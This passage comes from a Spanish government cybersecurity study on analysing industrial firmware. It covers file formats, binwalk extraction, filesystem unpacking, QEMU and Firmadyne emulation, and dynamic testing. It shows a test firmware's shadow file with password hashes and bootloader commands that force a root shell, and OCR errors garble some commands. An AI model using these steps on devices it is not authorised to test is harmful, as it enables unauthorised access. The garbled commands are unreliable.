incluso en formato texto como el de la llustracion 4.

Los formatos mas comunes son los siguientes:

m Intel HEX: se caracteriza por los dos puntos “” justo al comienzo de cada linea. Es
el formato mas complejo y, de forma muy resumida, en cada linea aparece: el
cadigo de inicio, la longitud de registro, la direccion de registro, el tipo de registro
(comunmente son datos) y un resumen final. A continuacion, se muestran dos
posibles herramientas para convertir estos archivos a binario:

Intel_Hex2Bin: permite convertir los archivos hexadecimales en un archivo
binario. Tienen capacidades bésicas y es una herramienta de linea de
comandos. Cabe destacar que esta herramienta es capaz de funcionar con
el formato hexadecimal extendido de Intel, tanto en el modo direccion lineal
como en el modo direccién segmentada.

SRecord: esta disponible para cualquier version de UNIX, aunque también
se puede ejecutar en Windows. Permite convertir archivos de tipo HEX en
archivos binarios.
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m SREC o Motorola S-Record: formato similar al anterior (Intel HEX). Este formato
se caracteriza por iniciar siempre por el caracter ‘S’. Se define un codigo de inicio
acompafado por distintos campos que describen los registros de datos en formato
Hexa, ademas, los nimeros hexadecimales estan en formato big endian.

Motorola S-record format

All Bytes (except for the first byte and the two line termination characters) are ASCI| Codes of Hexadecimal Digits
i.e. they can take on the following values:
W, tar o, a2, A, tar o, ame , vge e, var L mr o, B -

2 P L L L L . o 'c o, D, B,
0x30 ©0x31 0x32 0x33 Ox34 O0x35 Ox36 O0x37 0x38 0x3% Oxdl 0x42 Ox43 Ox44 0xd5 Oxd6

Th 8
walg, display the count of Fmaining characlar pairs in e recond.
‘Vakues range from (w03 a8 T "F) o uFF FF) )
Carrisge Return

L/ . A N N -

| |

o | 1exay

| count | address 1 data |_Checksum_|
t - } }

source: https://en.wikipedia.org/wiki/SREC_(file_format)

llustracion 9: Formato Motorola S-Record?®.

El formato seria el siguiente:

Cddigo de inicio: como bien se ha dicho antes, el caracter ‘S’.

Tipo de registro: un digito de 0 a 9, el cual especifica el tipo de registro.
Longitud: dos digitos hexadecimales con la cantidad de bytes que se
muestran a continuacion.

Direccidn: cuatro, seis u ocho digitos hexadecimales. Dependen del tipo de
registro.

Datos: 2n digitos hexadecimales para codificar ‘n’ bytes de datos.
Checksum: dos digitos hexadecimales con el byte menos significativo del
complemento a uno de la suma de los campos largo, direccion y datos.

Las herramientas expuestas en el apartado anterior nos serviran también en este
caso.

B Hexdump: este formato se caracteriza por tener tres columnas. La primera columna
consta de direcciones, la segunda esta formada por contenido hexadecimal y, por
ultimo, en la tercera columna, el contenido en formato texto. Para este formato se
pueden usar diferentes herramientas, la mas comun es xxd que, por defecto,
imprimira por pantalla el nimero de linea, el contenido del binario en hexadecimal
y cualquier elemento o cadena.

9 https://es.wikipedia.org/wiki/SREC
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Offset (h) 00 01 02 03 04 05 06 07 08 09 OA OB OC OD OE OF

00000160 00 00 OO0 00 00 00 OO0 00 0S5 20 00 00 458 00 00 00  .........
00000170 00 00 OO0 00 00 00 00 00 [ZE 74 65 78 74 00 00 00 «..uu... m
00000180 3C 2C 00 00 00 20 00 00 00 2E 00 00 00 02 00 00 <, ... cenereennn
00000180 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 ...ueeevnn.. f
00000140 [2E 72 73 72 63 00 00 00/ CC 05 00 00 00 60 00 00 [ESte...i....

000001E0 00 06 00 00 00 30 00 00 00 00 00 00 00 00 00 00 ..... o ..........
000001CO 00 00 00 OO0 40 00 00 40 [2E 72 65 6C 6F 63 00 00 | @m
000001D0 OC 00 00 00 00 80 00 00 00 02 OO0 00 00 36 00 00 ..... e .......

000001E0 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 ...uvvevnn.. @..B
000001F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ..uvevnnnneennns
00000200 18 4C 00 00 00 00 OO0 00 48 00 00 00 02 00 05 00 .L...... Hoovunn.

00000210 EO 2D 00 00 CC 1C 00 OO0 03 00 02 00 01 00 00 06 &-..f...........

llustracion 10: Formato Hex Dump?0.

B Base64: es menos comun que el anterior formato y Unicamente transmite datos
imprimibles. Este formato se puede decodificar mediante Python, Perl u otros
lenguajes. Define una tabla que permite transformar un valor binario a un mapa
previamente definido, el cual es de 64 caracteres, ahorrando ancho de banda en
comunicaciones limitadas.

6.3.2. Archivo binario

Si se ha obtenido directamente el archivo binario, se podra comenzar a trabajar con él
directamente. Para ello, los siguientes comandos seran de utilidad durante todo el proceso:

COMANDO UTILIDAD EJEMPLO

Indica el tipo y formato del

. . file firmware.bin
archivo seleccionado

File <bin>

Permite leer las palabras de la
cantidad de letras que se
indique. Se recomienda

strings -nX <bin> utilizar los siguientes strings -n5 firmware.bin
nlmeros:

e 5
e 16

Mostrara en pantalla los datos

rings -tx <bin> i
strings -tx <bi en hexadecimal.

strings -tx firmware.bin

Mostrara la informacién en
Gl e BSH PRSI B2 hexadecimal con un maximo

> hexdumo.out de 512 caracteres y lo llevara
a un fichero

hexdump -C -n 512
firmware.bin >
hexdump.out

Escribe las primeras 10 lineas| hexdump -C firmware.bin |

hexdump -C <bin> | head en busca de cabeceras head

10 https://en.wikibooks.org/wiki/File:Hex_dump_of_the_Section_Table_in_a_64_bit_PE_File.jpg
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Muestra o modifica una tabla
fdisk -lu <bin> con particiones de disco junto fdisk -lu firmware.bin
a su tamarfo

Tabla 1: Comandos para la obtencién inicial de datos a partir del firmware.

Si ninguno de estos métodos proporciona datos Utiles, podra ser debido a alguna de las
siguientes razones:

m El binario puede ser “BareMetal”, es decir, que el firmware se ejecuta directamente
sobre el hardware y no hay una abstraccién de datos.

® El binario puede corresponder a un RTOS (Sistema Operativo en Tiempo Real) con
un sistema de archivos personalizado.

® El binario puede estar cifrado.

Si el binario esté cifrado o se quiere empezar a analizar de una forma mas avanzada, una
de las herramientas mas comunes es Binwalkl, esta herramienta esta destinada a la
extraccién e identificacion de archivos y codigo contenido en las imagenes binarias de
firmware, aunque también nos permite observar su nivel de cifrado.

Si el binario esta cifrado, se debe observar su entropia usando el comando Binwalk de la
siguiente manera:

COMANDO UTILIDAD EJEMPLO

Mostrara una ventana con

Binwalk -E <bin> la entropia detectada en el Binwalk -E firmware.bin
binario.

Tabla 2: Visualizacion del cifrado de los binarios.

En la mayor parte de los casos puede ser que Binwalk no se ejecute sin permisos de
administrador por lo que sera necesario afiadir el siguiente comando:

COMANDO UTILIDAD EJEMPLO

Binwalk -run-as=root Ejecutara el comando en Binwalk —run-as=root -E
<bin> modo root Firmware.bin

Tabla 3: Ejecucién de Binwalk como administrador

which may not be secure, If you wish to have extraction utilities executed as the ¢

llustracion 11: Se evita el fallo por problemas en permisos de administrador.

Dependiendo de la entropia obtenida, existen dos posibilidades:

1 https://github.com/topics/binwalk
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B Una baja entropia significa que probablemente no esté cifrado. Baja entropia se
puede considerar a una entropia inferior a 0.7 en la escala que se muestra en la

imagen.

Entropy

Entropy

3000000 4000000

0 1000000 2000000
Offset

llustracion 12: Baja entropia.

B Una alta entropia significa que probablemente este cifrado o al menos este

comprimido de algin modo.
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Entropy

Entropy

0 500000 1000000150000020000002500000300000035000004000000
Offset

llustracion 13: Alta entropia.

La entropia es método muy simple para comprobar los valores de cifrado del binario y poder
tener asi una clara idea de cdmo continuar el andlisis del firmware o de que herramientas
emplear.

6.4. Extraccion del archivo del sistema

Esta fase implica mirar dentro del firmware y analizar los datos relativos del sistema de
archivos para empezar a identificar tanto los problemas de seguridad potenciales como sea
posible. Los siguientes pasos serviran para extraer el contenido sin compilar y las
configuraciones del dispositivo utilizadas en las siguientes etapas:

Utilice el siguiente comando para extraer la informacién de los archivos del sistema:

COMANDO UTILIDAD EJEMPLO

: . Nos permite extraer los archivos del firmware y Binwalk -e
Binwalk -e <bin> : .
poder leerlos. firmware.bin
Binwalk -e -v Binwalk -ev
: En modo verbose. . :
<bin> firmware.bin

Tabla 4: Extracciones mediante Binwalk

En la siguiente ilustracion, se puede ver la ejecucion del comando de extraccidbn mediante
Binwalk:
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root@attifyos:/home/iot/tools/firmware-analysis-toolkit/firmadyne/WNAP# binwalk -ev 'WNAP320 Firmware Version 2.0.3.zip'

Scan Time: 2023-02-06 03:40:42

Target File: /home/iot/tools/firmware-analysis-toolkit/firmadyne/WNAP/WNAP320 Firmware Version 2.0.3.zip
MD5 Checksum: 5leddc7046d77a752ca4b39fbdaseaff

Signatures: 396

DECIMAL HEXADECIMAL DESCRIPTION

Zip archive data, at least v2.0 to extract, compressed size: 1197, uncompressed size: 2667, name: ReleaseNotes WNA
P320_fw_2.0.3.HTML
1261 Ox4ED Zip archive data, at least v2.0 to extract, compressed size: 5361059, uncompressed size: 5427200, name: WNAP320 V2
.0.3_firmware.tar
5362530 0x51D362 End of Zip archive, footer length: 22

root@attifyos:/home/iot/tools/firmware-analysis-toolkit/firmadyne/WNAP# cd WNAP320\ Firmware\ Version\ 2.0.3.zip.extracted/
root@attifyos:/home/iot/tools/firmware-analysis-toolkit/firmadyne/WNAP/ WNAP320 Firmware Version 2.0.3.zip.extracted# 1s
ReleaseNotes_WNAP320_fw_2.0.3.HTML

llustracion 14: Ejemplo de la ejecucién de un comando de extraccion mediante Binwalk.

Los archivos se extraeran a la ubicacién “binaryname/filesystemtype” un ejemplo de esto
seria:

/home/usuario/_ejemplo.extracted/
Los diferentes tipos de archivos de sistema que podemos encontrar seran los siguientes:

m Squasfhs
Ubifs
Romfs
Jffs2
Yaffs2
Cramfs
Initramfs

En la siguiente ilustracion, se puede observar la distribucién de archivos extraidos mediante
el comando de Binwalk expresado en la Tabla 4.

iot@attifyos > 1s

kernel.md5 root fs.md5 rootfs.squashfs* vmlinux.gz.uImage

llustracion 15: Ejemplo Squashfs.

Para visualizar otro tipo de archivos, en la llustracion 16, se puede observar la obtencién
de un archivo de tipo CramFS.

root@attifyos:/home/iot/tools/firmware-analysis-toolkit/firmadyne/westermo fw weos v4 13 4 lynx/Lynx-4.13.4# binwalk lw4134.img

DECIMAL HEXADECIMAL DESCRIPTION

1199 files

llustracion 16: Ejemplo CramFS.

En ocasiones, puede que la herramienta Binwalk, no contenga el byte magico de los
archivos del sistema en sus firmas, por lo que, en este caso, se utilizara el Binwalk para
encontrar el offset de los archivos del sistema y extraer los archivos de sistema
comprimidos en el binario y extraer manualmente los archivos de sistema segun su tipo
siguiendo los siguientes pasos:

COMANDO UTILIDAD ZEEEEE
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Binwalk Mostrard la informacion del binario, nos permite adquirir Binwalk
<bin> los bytes donde comienzan los diferentes archivos. firmware.bin

Tabla 5: Comando basico de ejecucién Binwalk

6.4.1. Extraccioén individual

Para realizar una extraccion individual de los archivos se ejecutara el comando “dd” en los
archivos de sistema de Squashfs:

COMANDO UTILIDAD EJEMPLO

dd if=<bin> bs=1 skip=<n® Nos permite extraer la dd if=firmware.bin bs=1

datos squash> informacién desde el skip=18395
of=<nombrearchivo> punto deseado. if=ejemplo.squasfhs

Tabla 6: Comando de extraccion individual mediante Binwalk.

En la siguiente ilustracién, se indica el byte a partir del cual, mediante el comando expuesto
en la Tabla 6, se extraeran los archivos. En este caso, se estaria extrayendo de forma
individual el archivo Squeashfs del firmware analizado.

root@attifyos:/home/iot/tools/firmware-analysis-toolkit/firmadyne/openwrt# binwalk -v openwrt-ar71xx-generic-a6@-squashfs-factory.bin

Scan Time: 2023-02-06 04:39:27

Target File: /home/iot/tools/firmware-analysis-toolkit/firmadyne/openwrt/openwrt-ar71lxx-generic-a60-squashfs-factory.bin
MD5 Checksum: 1993e66c228b02fefel24615286370d4

Signatures: 396

DECIMAL HEXADECIMAL DESCRIPTION

0x1027F a a header size: 64 bytes, header CRC: Ox271AAEE7, created: 2019-01-30 12:21:02, image size: 1400146 by
, Data Address: 0x80060000, Entry : 0x80060000, data CRC: OxBFF42, 0S: Linux, CPU: MIPS, image type: 0S Kernel Image, compression type:
lzma, image name: "MIPS OpenWrt Linux-4.9.152"
AR239 0x102BF LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 4524292 bytes
1466385 0x166011 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 2320142 bytes, 844 inodes, blocksize: 26214
[#BYTES, created: 2019-01-30 12:21:02

llustracion 17: Sefalizacion del dato” skip” necesario para la extraccién individual.

Se puede sustituir el comando anterior por el siguiente:
COMANDO UTILIDAD EJEMPLO

La misma que el comando
anterior inicamente hay que
escribir el hexadecimal por el

gue comienza

dd if=<bin> bs=1
skip=<hexa_codigo>
of=<nombrearchivo>

Dd if=firmware.bin bs=1
skip=0x3f1
of=firmware.squasfhs

Tabla 7: Variante de extraccion individual mediante Binwalk.

Realizado el paso anterior, se ejecutara el siguiente cédigo para descomprimir los archivos.
En la tabla 8, se indica el comando para la descomprension del archivo squasfhs
anteriormente expuesto. Dependiendo del tipo de archivo, la extraccién sera diferente.

COMANDO UTILIDAD EJEMPLO

Unsquashfs Nos permite descomprimir el Unsquashfs dir
dir.squashfs fichero squash firmware.squashfs

Tabla 8: Descompresion del archivo Squashfs.
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Esto creara un directorio llamado “squashfs-root” en la ubicacién actual.

6.4.2. Archivos CPIO

Los archivos CPIO son compatibles con los 3 sistemas operativos méas grandes
actualmente, perteneciendo a la categoria de archivos cifrados. Fue originado para el
almacenamiento de copias de seguridad. Para archivos CPIO, se debera ejecutar el
siguiente comando:

COMANDO UTILIDAD EJEMPLO

cpio -ivd —no- Este comando se usara para copiar,

cpio -ivd —no-absolute-

absolute-filenames -f extraer y crear los diferentes . . .
filenames -f firmware.bin

<bin> directorios.

Tabla 9: Archivos CPIO.

6.4.3. Archivos JFFS2

Estos archivos son compatibles con Linux y Windows, perteneciendo a la categoria de
archivos de imagen de disco. Actualmente, este tipo de archivos se utilizan
mayoritariamente en memorias flash, siendo el sucesor de JFFS. Para archivos jffs2 se
utilizara el comando:

COMANDO UTILIDAD EJEMPLO

jefferson Nos permite extraer los archivos jefferson
rootsfile.jffs2 JFFS2 firmware.jffs2

Tabla 10: Archivos JFFS.

6.4.4. Archivos UBIFS

Por ultimo, estos archivos son compatibles Gnicamente con Linux, perteneciendo a la
categoria de archivos de imagen de disco y se especializa en memorias flash para archivos
UBIFS:

COMANDO UTILIDAD EJEMPLO

Permite extraer
imagenes de
archivos que

contienen datos de

tipo UBI

ubireader_extract_images -u
UBI -s <start_offset> <bin>

ubireader_extract_images -u
UBI -s 5423 firmware.bin

Nos permite leer y
ubidump.py <bin> extraer archivos de ubidump.py Firmware.bin
una imagen UBIFS

Tabla 11: Archivos UBIFS.

6.4.5. Directorios importantes para el analisis
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Una vez extraidos los archivos se podra acceder a ellos y observar informacion en los
diferentes directorios posibles. Se sugiere observar las siguientes carpetas, ya que suelen
contener informacion relevante sobre el firmware.

- i

> 1s

total 68
drwxrwxr-x 16 S
drwxr-xr-x i
drwxr-xr-x 2 bin/
drwxr-xr-x 2 dev/
-rw-rw-r-- 1 dnsmasq setup.sh
drwxrwxr-x etc/
drwxrwxr-x lib/
mnt/
overlay/
proc/
rom/
root/
shin/
sys/

/
usr/
var ->
www /

=
~J

drwxr-xr-x

drwxr-xr-x
drwxr-xr-x
drwxrwxr-x
drwxr-xr-x
drwxr-xr-x
drwxr-xr-x
drwxrwxrwt
drwxrwxr-x
Lrwxrwx rwx
drwxrwxr-x

=
WHE <IN MNMNRKNRMNRNRNRN P

llustracion 18: Carpeta de inicio firmware prueba.

B La carpeta /etc donde se podra observar un archivo llamado “Shadow”, el cual
podra contener los usuarios por defecto.
iot@attifyos > cat
root:$1$J17H1VOGSWgw2F/C.nLNTC. 4pwDad4H1:18145:0:99999:7: ::
daemon:*:0:0:99999:7:::
ftp:¥:0:0:99999:7:::
network:*:0:0:99999:7:::
nobody:*:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
dnsmasq:x:0:0:99999:7:::
iotgoatuser: $1$79bz0K8z$116Q/1T83F1QodGmkb4Ah. :18145:0:99999:7: : :

llustracion 19: Archivo Shadow.

B En la carpeta /etc se podra observar el archivo “passwd” o “passwd_default”
donde se podran encontrar contrasefias.
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iot@attifyos > cat
root:x:0:0:root:/root:/bin/ash
daemon:*:1:1:daemon:/var:/bin/false
ftp:*:55:55: ftp:/home/ftp:/bin/false

network:*:101:101:network:/var:/bin/false
nobody:*:65534:65534:nobody: /var:/bin/false
dnsmasq:x:453:453:dnsmasq:/var/run/dnsmasq:/bin/false
iotgoatuser:x:1000:1000::/root:/bin/ash

llustracion 20: Archivo passwd.

m Dentro de la carpeta /etc también se podra observar el archivo “inittab” que nos
podra redirigir a el archivo que se ejecuta en el inicio.

iot@attifyos > cat

. :sysinit:/etc/init.d/rcS S boot

. :shutdown: /etc/init.d/rcS K shutdown
. :askconsole: /usr/libexec/login.sh

llustracion 21: Archivo inittab.

B En la carpeta/bin donde se podra encontrar el archivo “busybox” a donde apuntan
los enlaces directos que podemos observar en un color azul claro.

root@attifyos: /home/iot/tools/firmware-analysis-toolkit/firmadyne/openwrt/ openwrt-ar71xx-generic-a68-squashfs-factory.bin.extracted/squashfs-ro

chgrp cp  dmesg fgrep gzip lock mknod netmsg passwd ps sed  tar true

chmod date echo fsync ipcalc.sh login mktemp netstat pidof pwd sh touch ubus v
chown dd  egrep grep  kill 1s mount nice L] m sleep traceroute uclient-fetch wget
config_gemerate df  false gunzip 1n mkdir mv opkg pingé rmdir sync traceroutef umount zcat

llustracion 22: Carpeta bin.

B Sitiene interfaz web se debe observar la carpeta /home/www en busca de archivos

root@ttifyos:/home/iot/tools/firmware-analysis-toolkit/firmadyne/openwrt/ openwrt-ar71lxx-generic-ab8-squashfs-factory.bin.extracted/squashfs-ro
luci-static/bootstrap# pwd
tools/firmware-analysis-toolkit/firmadyne/openwrt/ openwrt-ar7lxx-generic-ab0-squashfs-factory.bin.extracted/squashfs-root/ww/luci-st

llustracion 23: Carpeta www.

B En la carpeta /usr/share, también podemos encontrar algin archivo interesante.
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root@attifyos:/home/iot/tools/firmware-analysis-toolkit/firmady
ot/usr/share/fw3# cat helpers.conf
config helper
option name 'amanda’
option description 'Amanda backup and archiving proto'
option module 'nf conntrack amanda’
option family 'any'
option proto ‘udp'
option port '10080'

config helper
option name 'ftp'
option description 'FTP passive connection tracking'
option module 'nf conntrack ftp'
option family 'any'
option proto 'tcp'
option port '21°

llustracion 24: Archivo en carpeta /usr/share.

B Se debera revisar la carpeta /root por si hubiese algun archivo de importancia.

Las carpetas mencionadas pueden no estar presente en todos los firmware, puesto
gue cada uno varia en el tipo de archivos que podemos encontrar y en la forma de
visualizacién.

6.5. Emulacion

Usando la informacion obtenida previamente, se debera simular/emular el firmware junto a
los binarios encapsulados para verificar las posibles vulnerabilidades detectadas en fases
anteriores.

Para emular el firmware de manera correcta existen diferentes formas y posibilidades para
la emulacion:

B Emulacion parcial: emulaciéon de los binarios independientes derivados de un
sistema de archivos. Un ejemplo de esto podria ser /etc/usr/shellback.

B Emulacion completa: emulacion del firmware completo y de las configuraciones
de arranque aprovechando una NVRAM (Memoria No Volatil de Acceso Aleatorio)
falsa.

B Emulacion de red o MV (maquina virtual): en ocasiones, las anteriores
emulaciones pueden no funcionar debido a dependencias del hardware o de la
arquitectura, por lo que se requerira de una MV (méquina virtual) para lograr su
correcto funcionamiento.

6.5.1. Herramientas de emulacién

Para esta fase del estudio, se simulara el firmware obtenido, pudiendo asi observarlo en
ejecucion. Para ello se utilizaran diferentes herramientas de simulacion, tales como:
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®m QEMU: herramienta genérica de cdédigo abierto, emulador y virtualizador de
maquinas y de espacios de usuario.

EM

llustracion 25: Herramienta QEMU?*?

B Firmadyne: herramienta automatizada que nos permite simular firmware de forma
sencillay eficaz. Es una de las herramientas mas utilizadas ya que simplifica mucho
el proceso de la emulacion y en mdultiples casos permite la emulacion web del
firmware de forma directa

B Unicorn: esta herramienta se centra en la emulacién de mdaltiples arquitecturas de
CPU.

llustracion 26: Herramienta Unicorn?3.

A continuacion, se explicaran de forma mas detallada las diferentes herramientas que se
usaran durante la realizacién de este estudio.

6.5.1.1. QEMU

Esta herramienta permite emular un sistema completo sin necesidad de soporte de
virtualizacion de hardware. Mediante el uso de una traduccion dinamica, consigue un gran
rendimiento. Esto también permite que, al emular CPU, sea capaz de emular sistemas
operativos para una maquina (una placa ARMv7) en otra diferente (x86_64). Esta
herramienta permite realizar tres tipos de emulaciones:

B Emulacién completa del sistema: permite emular el sistema de hardware
completo, incluyendo posibles periféricos, por lo que permitird observar todas las
aplicaciones disponibles.

® Emulacion del modo usuario: permite ejecutar aplicaciones de usuario por
separado siempre y cuando se comparta el mismo SO (sistema operativo). Su uso
facilita la compilacién cruzada y el depurado cruzado.

® Virtualizacion: nos permite conseguir un rendimiento casi nativo al ejecutar codigo
no propietario directamente en la CPU anfitriona.

2 www.gemu.org

13 www.unicorn-engine.org
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6.5.1.2. Firmadyne

Es un sistema automatizado y escalable que nos permite realizar emulaciones y analisis
dinAmicos basados en Linux. Consta de los siguientes componentes:

m  Kernels modificados (MIPS: v2.6, ARM: v4.1, v3.10) para la instrumentacién de ja
ejecucion del firmware.

Libreria NVRAM de usuario para emular un periférico hardware NVRAM.

Un extractor, para sistemas de archivos y un kernel del firmware descargado.
Aplicacién de consola para generar shell para su depuracion.

Un scraper para descargar firmware de mas de 42 proveedores diferentes.

Ademas, la aplicacién puede realizar tres tipos de analisis automaticos sobre diferentes
pardmetros del firmware:

B P4ginas web accesibles: el script itera a través de los archivos del sistema que
parezca ser ofrecida por un servidor web, y agrega los resultados basados
dependiendo de si necesita autenticacion o no.

B Informacion SNMP: el script vuelca el contenido SNMP v2, tanto el contenido
publico, como el contenido privado, al disco sin utilizar credenciales.

m Comprobacién de vulnerabilidades: este script usa Metasploit y comprueba las
sesenta vulnerabilidades mas conocidas. Ademas, comprueba catorce extras
definidas por los creadores del software. La aplicacion tiene un archivo README
dentro de la carpeta /analysis, en el cual se expone informacion de los CVE y
productos afectados.

6.5.2. Emulacion parcial

Para comenzar con este andlisis debemos saber, tanto la arquitectura del CPU como el
tipo de endian que utiliza para seleccionar el binario de emulacion QEMU apropiado. A
continuacion, habré que seguir los siguientes pasos.

COMANDO ‘ UTILIDAD EJEMPLO

readelf -h <bin>‘ Mostrara la cabecera ELF del archivo.| readelf -h Firmware.bin

Tabla 12: Emulacion parcial mediante QEMU.

m “le” significara “little endian”
B “be” significara “big endian”

Binwalk puede ser usado para identificar el ancho de banda usado por los binarios del
firmware empaquetado (no de los binarios dentro del firmware extraido) utilizando el
siguiente comando:

COMANDO UTILIDAD EJEMPLO

TLP:CLEAR

ESTUDIO DEL ANALISIS DE FIRMWARE EN DISPOSITIVOS INDUSTRIALES 36




TLP:CLEAR
Financiado por Plan de %g P H b
- la Unién Europea m SCEPNA  DETMSORMACONDIGTAL SRS :f::::;::f;gl“é'n d t l ‘J o INcine —
NextGenerationEU ‘ | I g I a

y Resiliencia INSTITUTO NACIONAL DE CIBERSEGURIDAD

binwalk -Y Mostrara la arquitectura del CPU de un Binwalk -Y
<bin> archivo Firmware.bin

Tabla 13: Binwalk para conocer la arquitectura del archivo a emular.

Una vez identificada la arquitectura de la CPU vy el tipo de endian que usa, se localizara el
binario QEMU apropiado para realizar la emulacién parcial (Unicamente los binarios
extraidos, no el firmware completo). ComUnmente se encuentra en:

m /usr/local/gemu-arch
® /usr/bin/gemu-arch

Realizado el paso anterior se debera copiar el binario QEMU aplicable en el sistema de
archivos raiz extraido. Una vez realizado este paso, ejecutaremos el binario de la
arquitectura correspondiente para emular usando QEMU vy chroot con el siguiente
comando:

COMANDO UTILIDAD EJEMPLO

Sudo chroot . ./gemu- Ejecuta la arquitectura de sudo chroot . ./gemu-arch
arch <bin> QEMU seleccionada Firmware.bin

Tabla 14: Ejecucién de la arquitectura de QEMU seleccionada.

Una vez emulado el binario objetivo, interactta con el intérprete o el servicio en escucha.
Usa la herramienta Fuzz junto a su aplicacion e interfaces de red como se muestra en la
siguiente fase.

6.5.3. Emulacion completa del sistema

Cuando sea posible, se debe utilizar herramientas automatizadas para realizar una
emulacion completa del firmware. Estas herramientas son principalmente un envoltorio
para QEMU y otras funciones ambientales como NVRAM.

Para ello, se utilizaran herramientas que simulen el software en tiempo real y nos permitan
interactuar con él. A continuacion, se listan diferentes herramientas referencia para las
emulaciones completas de diferentes sistemas: firmware analysis toolkit*4, armx*®, MIPS-
X*€, firmadyne?’ o gltool*®

4 https://github.com/attify/firmware-analysis-toolkit
15 https://github.com/therealsaumil/armx/

16 https://github.com/getCUJO/MIPS-X

7 https://github.com/firmadyne/firmadyne

18 https://github.com/qilingframework/giling#gltool
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6.6. Analisis dinamico

Esta fase del andlisis se puede definir como el momento de ejecucién del firmware, ya sea
en un entorno real o emulado. El principal objetivo es profundizar en las posibles
vulnerabilidades del dispositivo encontradas en fases anteriores del andlisis.

La emulacién permitird ejecutar un firmware sin necesidad del hardware original,
permitiendo un analisis en mayor medida. En ciertos casos, en los que la emulacion no sea
posible, también existe la posibilidad de utilizar el hardware original para emular la version
de firmware analizada de forma dinamica.

Esta ultima opcién, es recomendable para casos en los que se quiera hacer un analisis con
una profundidad baja, es decir, no se quieran analizar todas las caracteristicas del
firmware. Eso si, permite una emulacion mas sencilla y con menos errores.

Como bien se ha mencionado a lo largo del estudio, las primeras fases del analisis,
concretamente, el analisis del firmware y del sistema de ficheros, asi como el
reconocimiento de versiones, son fases criticas para la emulacién correcta del firmware,
sin un correcto analisis previo, la emulacion dinamica no sera funcional.

Lo basico a realizar implica la manipulacion de las configuraciones del bootloader, pruebas
web y API, fuzzing (con los servicios de red y aplicaciones), asi como el escaneo activo
utilizando diversos conjuntos de herramientas para adquirir para realizar un escalado de
privilegios y/o una ejecucion de cadigo.

6.6.1. Depuracion

Esta primera sub fase del analisis dindmico se podra realizar en el caso en el que se haya
logrado una emulacion del firmware sobre un entorno, es decir, mediante el firmware, se
ha conseguido crear un entorno dinamico de emulacién.

Una vez se ha conseguido dicho entorno, el andlisis dinamico consiste en utilizar un
depurador software para el control del flujo de ejecucién, habilitando asi la posibilidad de
controlar y observar el estado del sistema.

Como bien se ha mencionado en el apartado 6.5.1 ‘Herramientas de emulacién’, la
herramienta QEMU, permite controlar los dispositivos conectado al sistema y ejecutar una
emulacién completa del sistema.

6.6.2. Depuracion de puertos fisicos

Este otro tipo de depuracion se basa en puertos fisicos del hardware original. Estos puertos
suelen estar habilitados para desarrolladores y por lo tanto, no han sido desactivados o
protegidos correctamente en los dispositivos de produccion.

Las interfaces JTAG o UART suelen ser las dos opciones para la conexion a través de los
puertos disponibles. Concretamente la interfaz JTAG suele tener la capacidad de leer y
escribir contenidos en las memorias RAM y ROM. Por otro lado, las interfaces UART,
pueden ofrecer un acceso al bootloader y permitir la interaccion con él a través de un
terminal.

6.6.3. Testeo de aplicaciones web embebidas

TLP:CLEAR

ESTUDIO DEL ANALISIS DE FIRMWARE EN DISPOSITIVOS INDUSTRIALES 38




TLP:CLEAR
Financiado por :'a" de & %g & I n C ib e
P GOBERNO  MINSTERO schrmin o 5100 ecuperacion, « .
la Unién Europea DEESPANA  DETRANSFORMACIONDIGITAL  (xbarmincin Transformacién | d I Ital (J < —
NextGenerationEU * INSTITUTO NACIONAL DE CIBERSEGURIDAD

y Resiliencia

Las areas especificas a revisar dentro de la aplicacion web de un dispositivo integrado
seran las siguientes:

B Paginas de diagnéstico o solucion de problemas para detectar posibles
vulnerabilidades de inyeccién de cdodigo.

B Los esquemas de autenticacion y autorizacion, ya que estos, se validan con el
mismo marco en todas las aplicaciones del sistema, asi como en la plataforma del
sistema operativo del firmware.

B Se debe comprobar el uso indebido de contrasefias y usuarios por defecto

B Se debe realizar una exploracion de directorios y descubrimiento de contenidos en
paginas web para identificar funciones de depuracion o prueba.

B Se evalla la comunicacibn SOAP/XML y API en busca de vulnerabilidades de
validacién de entrada y sanitizacién, como XSS y XXE.

m Usar la herramienta FUZZ en los parametros de aplicacion y observar las
excepciones y rastros de pila.

m Adaptar cargas Utiles especificas contra servicios web para detectar
vulnerabilidades C/C++ comunes. Como, por ejemplo, posibles vulnerabilidades en
corrupcion de memoria o fallos en las cadenas de formato.

Dependiendo del producto y sus posibles interfaces de aplicacion, los casos de prueba
variaran, es recomendable apoyarse en la informaciébn obtenida en la fase de
reconocimiento y de analisis para tener la mejor informacién para ejecutar testeos mas
precisos.

6.6.4. Fuzzing

Esta técnica para la busqueda de vulnerabilidades permite testear los dispositivos 10T en
busqueda de fallos o errores en la implementacién del codigo fuente. A la hora de realizar
fuzzing sobre un firmware cabe destacar que se aplicard el tipo de fuzzing sobre
aplicaciones y formatos:

B Fuzzing de aplicacién: permite modificar datos de entrada para localizar fallos en
el codigo fuente. Uno de los fallos mas comunes en firmware 0T es el
desbordamiento de buffer, con esta técnica de fuzzing, es mas sencillo encontrarles
y asi posteriormente poder aplicar las mitigaciones necesarias.

B Fuzzing de formato: permite a parte de modificar los datos de entrada, modificar
el formato de dichos parametros.

En resumen, el fuzzing, es una técnica automatizada para encontrar defectos en software
y totalmente valida para pruebas sobre firmwares de dispositivos |0T o lloT.

6.6.5. Testeo de bootloader

Cuando modifique el arranque del dispositivo y el bootloader, debe intentar las siguientes
opciones:

B Intentar acceder ala Shell interactiva del bootloader presionando el boton “0”, el
espacio u otros “cédigos magicos” identificados durante el arranque.
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Modificar las configuraciones para poder ejecutar un comando Shell afiadiendo el
siguiente comando ‘init=/bash/sh’ al final de los argumentos de arranque, un
ejemplo de esto podria ser lo siguiente:

printenv

setenv bootargs=console=ttyS0,115200 mem=63M root=dev/mtdblock3
mtdparts=sflash:<partitioninfo> rootfstype=<fstype> hasEeprom Ssrst=0
int=/bin/sh

saveenv

boot

Configura un servidor ftp para cargar imagenes en la red local de tu zona de
trabajo. Asegurate que el dispositivo que quieres comprobar tenga acceso a la red.

setenv ipaddr XXX. XXX XXX. XXX #IP local del dispositivo

setenv serverip XXX. XXX.XXX.XXX #IP servidor ftp

saveenv

reset

